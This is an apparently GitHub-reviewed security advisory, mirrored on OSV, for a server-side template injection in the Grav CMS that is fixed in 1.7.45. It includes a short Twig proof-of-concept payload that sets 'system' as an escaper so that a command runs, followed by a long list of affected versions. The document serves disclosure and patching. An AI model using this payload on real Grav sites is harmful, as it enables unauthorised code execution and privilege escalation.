GHSA-2m7x-c7px-hp58

Suggest an improvement
Source
https://github.com/advisories/GHSA-2m7x-c7px-hp58
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-2m7x-c7px-hp58/GHSA-2m7x-c7px-hp58.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-2m7x-c7px-hp58
Aliases
Published
2024-03-22T16:56:02Z
Modified
2024-03-22T17:13:00.694410Z
Severity
  • 7.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Server Side Template Injection (SSTI) via Twig escape handler
Details

Summary

Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.

Details

https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99

/**
     * Defines a new escaper to be used via the escape filter.
     *
     * @param string   $strategy The strategy name that should be used as a strategy in the escape call
     * @param callable $callable A valid PHP callable
     */
    public function setEscaper($strategy, callable $callable)
    {
        $this->escapers[$strategy] = $callable;
    }

Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.

{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}

At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.

PoC

{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}

Impact

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

Database specific
{
    "nvd_published_at": "2024-03-21T22:15:12Z",
    "cwe_ids": [
        "CWE-94"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-22T16:56:02Z"
}
References

Affected packages

Packagist / getgrav/grav

Package

Name
getgrav/grav
Purl
pkg:composer/getgrav/grav

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.7.45

Affected versions

0.*

0.8.0
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.5
0.9.6
0.9.7
0.9.8
0.9.9
0.9.10
0.9.11
0.9.12
0.9.13
0.9.14
0.9.15
0.9.16
0.9.17
0.9.18
0.9.19
0.9.20
0.9.21
0.9.22
0.9.23
0.9.24
0.9.25
0.9.26
0.9.27
0.9.28
0.9.29
0.9.30
0.9.31
0.9.32
0.9.33
0.9.34
0.9.35
0.9.36
0.9.37
0.9.38
0.9.39
0.9.40
0.9.41
0.9.42
0.9.43
0.9.44
0.9.45

1.*

1.0.0-rc.1
1.0.0-rc.2
1.0.0-rc.3
1.0.0-rc.4
1.0.0-rc.5
1.0.0-rc.6
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.0.10
1.1.0-beta.1
1.1.0-beta.2
1.1.0-beta.3
1.1.0-beta.4
1.1.0-beta.5
1.1.0-rc.1
1.1.0-rc.2
1.1.0-rc.3
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.1.8
1.1.9-rc.1
1.1.9-rc.2
1.1.9-rc.3
1.1.9
1.1.10
1.1.11
1.1.12
1.1.13
1.1.14
1.1.15
1.1.16
1.1.17
1.2.0-rc.1
1.2.0-rc.2
1.2.0-rc.3
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.3.0-rc.1
1.3.0-rc.2
1.3.0-rc.3
1.3.0-rc.4
1.3.0-rc.5
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.3.7
1.3.8
1.3.9
1.3.10
1.4.0-beta.1
1.4.0-beta.2
1.4.0-beta.3
1.4.0-rc.1
1.4.0-rc.2
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.5.0-beta.1
1.5.0-beta.2
1.5.0-rc.1
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.5.7
1.5.8
1.5.9
1.5.10
1.6.0-beta.1
1.6.0-beta.2
1.6.0-beta.3
1.6.0-beta.4
1.6.0-beta.5
1.6.0-beta.6
1.6.0-beta.7
1.6.0-beta.8
1.6.0-rc.1
1.6.0-rc.2
1.6.0-rc.3
1.6.0-rc.4
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.6.10
1.6.11
1.6.12
1.6.13
1.6.14
1.6.15
1.6.16
1.6.17
1.6.18
1.6.19
1.6.20
1.6.21
1.6.22
1.6.23
1.6.24
1.6.25
1.6.26
1.6.27
1.6.28
1.6.29
1.6.30
1.6.31
1.7.0-beta.1
1.7.0-beta.2
1.7.0-beta.3
1.7.0-beta.4
1.7.0-beta.5
1.7.0-beta.6
1.7.0-beta.7
1.7.0-beta.8
1.7.0-beta.9
1.7.0-beta.10
1.7.0-rc.1
1.7.0-rc.2
1.7.0-rc.3
1.7.0-rc.4
1.7.0-rc.5
1.7.0-rc.6
1.7.0-rc.7
1.7.0-rc.8
1.7.0-rc.9
1.7.0-rc.10
1.7.0-rc.11
1.7.0-rc.12
1.7.0-rc.13
1.7.0-rc.14
1.7.0-rc.15
1.7.0-rc.16
1.7.0-rc.17
1.7.0-rc.18
1.7.0-rc.19
1.7.0-rc.20
1.7.0
1.7.1
1.7.3
1.7.4
1.7.5
1.7.6
1.7.7
1.7.8
1.7.9
1.7.10
1.7.12
1.7.13
1.7.14
1.7.15
1.7.16
1.7.17
1.7.18
1.7.19
1.7.20
1.7.21
1.7.22
1.7.23
1.7.24
1.7.25
1.7.26
1.7.26.1
1.7.27
1.7.27.1
1.7.28
1.7.29
1.7.29.1
1.7.30
1.7.31
1.7.32
1.7.33
1.7.34
1.7.35
1.7.36
1.7.37
1.7.37.1
1.7.38
1.7.39
1.7.39.1
1.7.39.2
1.7.39.3
1.7.39.4
1.7.40
1.7.41
1.7.41.1
1.7.41.2
1.7.42
1.7.42.1
1.7.42.2
1.7.42.3
1.7.43
1.7.44